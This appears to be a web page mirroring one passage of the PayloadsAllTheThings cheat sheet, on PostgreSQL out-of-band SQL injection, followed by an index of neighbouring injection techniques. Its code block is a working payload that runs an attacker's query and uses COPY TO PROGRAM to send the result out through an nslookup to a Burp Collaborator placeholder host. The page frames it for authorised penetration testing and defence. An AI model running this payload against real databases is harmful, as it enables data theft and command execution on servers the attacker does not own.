Skip to content
BackEsc
Sign in

SQL Injection · passage 147 of 186

PostgreSQL Injection: PostgreSQL Out of Band

1 code block · SQL Injection/PostgreSQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

Out-of-band SQL injections in PostgreSQL relies on the use of functions that can interact with the file system or network, such as `COPY`, `lo_export`, or functions from extensions that can perform network actions. The idea is to exploit the database to send data elsewhere, which the attacker can monitor and intercept.

declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

Source: SQL Injection/PostgreSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 131 to 156, reading order first.

  1. OracleSQL Injection: Package oscommand§ 1311 code block · OracleSQL Injection.md
  2. OracleSQL Injection: DBMSSCHEDULER Jobs§ 1321 code block · OracleSQL Injection.md
  3. OracleSQL Injection: OracleSQL File Manipulation§ 133text · OracleSQL Injection.md
  4. OracleSQL Injection: OracleSQL Read File§ 1341 code block · OracleSQL Injection.md
  5. OracleSQL Injection: OracleSQL Write File§ 1351 code block · OracleSQL Injection.md
  6. PostgreSQL Injection: PostgreSQL Injection§ 136text · PostgreSQL Injection.md
  7. PostgreSQL Injection: PostgreSQL Comments§ 137text · PostgreSQL Injection.md
  8. PostgreSQL Injection: PostgreSQL Enumeration§ 138text · PostgreSQL Injection.md
  9. PostgreSQL Injection: PostgreSQL Methodology§ 139text · PostgreSQL Injection.md
  10. PostgreSQL Injection: PostgreSQL Error Based§ 1402 code blocks · PostgreSQL Injection.md
  11. PostgreSQL Injection: PostgreSQL XML Helpers§ 1412 code blocks · PostgreSQL Injection.md
  12. PostgreSQL Injection: PostgreSQL Blind With Substring Equivalent§ 1421 code block · PostgreSQL Injection.md
  13. PostgreSQL Injection: Identify Time Based§ 1431 code block · PostgreSQL Injection.md
  14. PostgreSQL Injection: Database Dump Time Based§ 1441 code block · PostgreSQL Injection.md
  15. PostgreSQL Injection: Table Dump Time Based§ 1451 code block · PostgreSQL Injection.md
  16. PostgreSQL Injection: Columns Dump Time Based§ 1462 code blocks · PostgreSQL Injection.md
  17. PostgreSQL Injection: PostgreSQL Out of Band§ 1471 code block · PostgreSQL Injection.md
  18. PostgreSQL Injection: PostgreSQL Stacked Query§ 1481 code block · PostgreSQL Injection.md
  19. PostgreSQL Injection: PostgreSQL File Read§ 149text · PostgreSQL Injection.md
  20. PostgreSQL Injection: PostgreSQL File Write§ 150text · PostgreSQL Injection.md
  21. PostgreSQL Injection: Using COPY TO/FROM PROGRAM§ 1512 code blocks · PostgreSQL Injection.md
  22. PostgreSQL Injection: Using libc.so.6§ 1521 code block · PostgreSQL Injection.md
  23. PostgreSQL Injection: Alternative to Quotes§ 153text · PostgreSQL Injection.md
  24. PostgreSQL Injection: PostgreSQL List Privileges§ 1541 code block · PostgreSQL Injection.md
  25. PostgreSQL Injection: PostgreSQL Superuser Role§ 1551 code block · PostgreSQL Injection.md
  26. SQLite Injection: SQLite Injection§ 156text · SQLite Injection.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in